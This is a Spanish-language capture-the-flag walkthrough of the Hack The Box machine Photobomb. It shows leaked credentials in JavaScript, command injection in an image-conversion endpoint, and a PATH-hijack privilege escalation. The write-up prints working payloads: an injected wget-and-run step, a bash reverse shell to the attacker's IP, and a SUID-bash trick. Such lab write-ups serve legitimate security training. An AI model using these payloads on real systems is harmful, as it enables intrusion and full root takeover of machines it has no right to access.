Descripción
Photobomb es una máquina fácil que cuenta con las siguientes vulnerabilidades:
- Acceso a una página web restringida usando credenciales filtradas encontradas en un código fuente de JavaScript
- Inyección de Comandos en un punto final web utilizado para convertir imágenes
- Escalada de Privilegios mediante un script permitido para ser ejecutado como usuario
rootcon binarios sin ruta absoluta y permitido usar variables de entorno personalizadas
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.182.
$ ping -c 3 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=42.4 ms
64 bytes from 10.10.11.182: icmp_seq=2 ttl=63 time=42.3 ms
64 bytes from 10.10.11.182: icmp_seq=3 ttl=63 time=41.5 ms
--- 10.10.11.182 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 41.472/42.060/42.385/0.416 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.182 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.182
Host is up (0.043s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Ahora hacemos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.182 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.182
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
| 256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.48 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio photobomb.htb al archivo /etc/hosts.
$ echo '10.10.11.182 photobomb.htb' | sudo tee -a /etc/hosts
Encontramos un sitio web sobre un negocio que vende regalos fotográficos de calidad premium. Tenemos un enlace a gent started que redirige al endpoint /printer, que requiere credenciales.
Al leer el código fuente HTML de la página, encontramos los activos /photobomb.js, que contiene las credenciales para la página. El código verifica un cookie para rellenar las credenciales de acceso al soporte técnico. Se dirige a un elemento con clase creds y establece su href a una URL específica con nombre de usuario y contraseña codificados manualmente. Esto es probablemente utilizado para automatizar el inicio de sesión con fines de soporte. El nombre de usuario es pH0t0 y la contraseña b0Mb!.
$ curl 'http://photobomb.htb/photobomb.js'
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
Ahora tenemos una galería de fotos que podemos descargar seleccionando el File type y la resolución.
Cuando descargamos la imagen, se envía una solicitud HTTP POST al endpoint /printer con los siguientes datos: photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png&dimensions=3000x2000.
Explotación
Suponemos que uno de los parámetros se envía a una línea de comandos para procesar la imagen original y luego convertirla. Después de algunos tests encontramos que el parámetro filetype es inyectable de comandos. Probamos esto creando un servidor HTTP con Python y luego realizando una solicitud a nuestro servidor.
$ curl -H 'Authorization: Basic cEgwdDA6YjBNYiE=' --data 'photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png; curl 10.10.14.16 #&dimensions=3000x2000' 'http://photobomb.htb/printer'
Failed to generate a copy of mark-mc-neill-4xWHIpY2QcY-unsplash.jpg
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.182 - - "GET / HTTP/1.1" 200 -
Vamos a utilizar esta vulnerabilidad para spawnar una shell inversa al servidor iniciando un puerto TCP en escucha: nc -nvlp 1234.
$ echo 'bash -i >& /dev/tcp/10.10.14.16/1234 0>&1' > shell.sh
$ python -m http.server 80
$ curl -H 'Authorization: Basic cEgwdDA6YjBNYiE=' --data 'photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=png; wget -O /tmp/shell.sh http://10.10.14.16/shell.sh; bash /tmp/shell.sh #&dimensions=3000x2000' 'http://photobomb.htb/printer'
Recibimos una terminal inversa como el usuario wizard, la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.182] 38130
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
wizard@photobomb:~/photobomb$ ^Z
$ stty raw -echo; fg
$ reset xterm
wizard@photobomb:~/photobomb$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos que el usuario wizard tiene permisos para ejecutar un comando como el usuario root, /opt/cleanup.sh y también tiene permiso para cambiar las variables de entorno utilizadas al ejecutar el comando.
wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Encontramos que el comando find se está ejecutando sin especificar su ruta absoluta, /usr/bin/find, por lo que podemos reemplazar la variable PATH con un directorio personalizado para ejecutar cualquier archivo ejecutable. En este caso vamos a usar uno para crear un binario Bash SUID. Después de que el archivo se cree, podemos desplegar una terminal root.
wizard@photobomb:~/photobomb$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/tmp.zPIFLv1HCN/suid-bash; chmod u+s /tmp/tmp.zPIFLv1HCN/suid-bash' > /tmp/tmp.zPIFLv1HCN/find
wizard@photobomb:~/photobomb$ chmod +x /tmp/tmp.zPIFLv1HCN/find
wizard@photobomb:~/photobomb$ sudo PATH=/tmp/tmp.zPIFLv1HCN/:$PATH /opt/cleanup.sh
wizard@photobomb:~/photobomb$ ls /tmp/tmp.zPIFLv1HCN/
find suid-bash
wizard@photobomb:~/photobomb$ /tmp/tmp.zPIFLv1HCN/suid-bash -p
suid-bash-5.0# id
uid=1000(wizard) gid=1000(wizard) euid=0(root) groups=1000(wizard)
Flags
En la terminal root podemos recuperar las banderas user.txt y root.txt.
suid-bash-5.0# cat /home/wizard/user.txt
<REDACTED>
suid-bash-5.0# cat /root/root.txt
<REDACTED>